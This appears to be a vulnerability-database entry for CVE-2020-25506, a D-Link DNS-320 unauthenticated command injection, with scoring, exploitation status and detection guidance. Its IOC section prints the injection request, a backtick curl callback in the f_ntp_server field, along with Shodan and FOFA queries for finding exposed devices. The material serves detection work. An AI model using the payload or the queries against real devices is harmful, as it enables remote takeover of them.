cbcvebase.
CVE-2020-25506
published 2021-02-02

CVE-2020-25506: D-Link DNS-320 FW v2.06B01 Revision Ax is affected by command injection in the system_mgr.cgi component, which can lead to remote arbitrary code execution.

PriorityP197critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
99.97%
100.0th percentile
D-Link DNS-320 FW v2.06B01 Revision Ax is affected by command injection in the system_mgr.cgi component, which can lead to remote arbitrary code execution.

Affected

1 ranges
VendorProductVersion rangeFixed in
dlinkdns-320_firmware

Detection & IOCsextracted from sources · hover to see the quote

path/cgi-bin/system_mgr.cgi
commandC1=ON&cmd=cgi_ntp_time&f_ntp_server=`curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'`
othershodan: http.html:"sharecenter"
otherfofa: body="sharecenter"
  • Exploit targets HTTP POST to /cgi-bin/system_mgr.cgi with parameters C1=ON&cmd=cgi_ntp_time and a command-injected f_ntp_server value (backtick shell injection). Monitor for backtick or shell metacharacters in the f_ntp_server HTTP parameter.
  • The vulnerability is unauthenticated — no session or credentials are required. Any POST to /cgi-bin/system_mgr.cgi with cmd=cgi_ntp_time from an external source should be treated as suspicious.
  • Exploit has been observed in the wild by Mirai botnet variants. Correlate DNS-320 device traffic with known Mirai C2 infrastructure.
  • The exploit can also be delivered via query string (GET-style parameters in POST URL). Detect both body-based and URL-based delivery of the payload to /cgi-bin/system_mgr.cgi.
  • ·Affected firmware is specifically D-Link DNS-320 FW v2.06B01 Revision Ax. Detections should be scoped to devices matching this firmware version to reduce false positives.
  • ·The Nuclei template uses a randomized User-Agent (rand_base(6)) for OOB (interactsh) callback confirmation. Network-based detections should not rely on a static User-Agent string for this exploit.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vulncheck9.8CRITICAL
cisa9.8CRITICAL
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